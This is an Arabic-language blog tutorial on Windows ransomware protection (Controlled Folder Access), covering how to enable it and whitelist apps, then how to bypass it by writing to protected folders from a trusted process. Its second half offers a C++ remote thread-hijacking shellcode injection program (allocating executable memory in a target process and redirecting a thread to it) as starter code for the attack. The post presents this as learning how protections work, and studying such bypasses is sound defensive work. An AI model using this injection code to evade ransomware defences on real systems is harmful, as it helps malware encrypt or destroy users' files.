# Windows ransomware protection

What is Windows ransomware protection

هي حماية توفرها لك ويندوز عشان تحميك من هجمات ال ransomware و تكون غير مفعلة لازم تفعلها بنفسك&#x20;

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2FuCK3eXH5PzK7kKOE72r2%2Fimage.png?alt=media&#x26;token=4bce4390-0a6f-4667-a48d-842fbda6937e" alt=""><figcaption></figcaption></figure>

راح تحصلها هنا

&#x20;

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2FAROxCrJSSgLd37CW1n2l%2Fimage.png?alt=media&#x26;token=5aca8d91-98d2-4d00-b7bf-32568e50aff9" alt=""><figcaption></figcaption></figure>

بعد ما نفعلها راح تحميلك بعض المجلدات بالجهاز حقك&#x20;

&#x20;

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2FMEF78Thrlrl0xSCgtdKS%2Fimage.png?alt=media&#x26;token=9656e1de-d916-4789-bcb1-4345d06507cf" alt=""><figcaption></figcaption></figure>

هذي المجلدات الخاصية هذي راح تحميها بحيث مو اي برنامج يكتب فيها بس اللي تكون موثوقة من الخاصية نفسها حتى ممكن تبلك برامج singed&#x20;

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2F1l4gFYcRogQv7HflKOcm%2Fimage.png?alt=media&#x26;token=526f3da0-94a0-4c05-a37c-e494de325d20" alt=""><figcaption></figcaption></figure>

طبعا تقدر تضيف انت allowed app بحيث ما يصير له بلوك الخاصية كانت تبلك chrome.exe ف خليته في ال allowed list&#x20;

## How the feature works?

هذي رسمه بشكل مبسط جدا هدفها وش قاعد يصير بالخلفية <br>

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2FvemCQopyOzlW2pesvHQc%2Fimage.png?alt=media&#x26;token=d3dd1679-353e-41b5-ae49-431de135f9fb" alt=""><figcaption></figcaption></figure>

الحين يوم عرفنا كيف الحماية شغاله نقدر نستنتج اكثر من طريقة عشان نتخطاها وحده من الطرق اللي جربتها و ضبطت علطول اني اخلي trusted process هي اللي تكتب بالملف بس لو نجرب نكتب ملف في بروسيس مو موثوقة بيصير كذا&#x20;

&#x20;

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2F69W3hCM0rNDw2jb9ZZ7v%2Fimage.png?alt=media&#x26;token=dc017dfd-5286-4c0e-97e8-0829a2c8991f" alt=""><figcaption></figcaption></figure>

و الحماية راح تقفل ال operation حقتنا و ماراح نقدر نكتب ملف&#x20;

<figure><img src="https://2914828243-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg6pWovGBXJcE6d4iek%2Fuploads%2FgL8WnQiKegGFccnYynPt%2Fimage.png?alt=media&#x26;token=0884d6af-e13d-4258-b3ed-7cf05f7d98c5" alt=""><figcaption></figcaption></figure>

و بكذا بتقدر تتخطى الحماية حقت ال ransomware protection اذا تبي تنفذ الاتاك ممكن تبحث عن&#x20;

-Inject shellcode to remote process&#x20;

-process hollowing

و اذا تبي كود ممكن تبدأ منه&#x20;

```cpp
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>

int main()
{
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52...shellcode";

	HANDLE targetProcessHandle;
	PVOID remoteBuffer;
	HANDLE threadHijacked = NULL;
	HANDLE snapshot;
	THREADENTRY32 threadEntry;
	CONTEXT context;
	
	DWORD targetPID = 15048; // Notepad pid
	context.ContextFlags = CONTEXT_FULL;
	threadEntry.dwSize = sizeof(THREADENTRY32);
	
	targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
	remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	
	snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
	Thread32First(snapshot, &threadEntry);

	while (Thread32Next(snapshot, &threadEntry))
	{
		if (threadEntry.th32OwnerProcessID == targetPID)
		{
			threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
			break;
		}
	}
	
	SuspendThread(threadHijacked);
	
	GetThreadContext(threadHijacked, &context);
	context.Rip = (DWORD_PTR)remoteBuffer;
	SetThreadContext(threadHijacked, &context);
	
	ResumeThread(threadHijacked);
}
```

الملخص

اذا فهمت الخاصية كيف تشتغل راح تقدر تتخطاها طبعا هذا الشي مو دايم حسب صعوبة الشي و لكن دايم لما تبي تتخطى او بتسوي حماية لازم تفهم كيف شغاله الحمايه او كيف شغال التخطي&#x20;
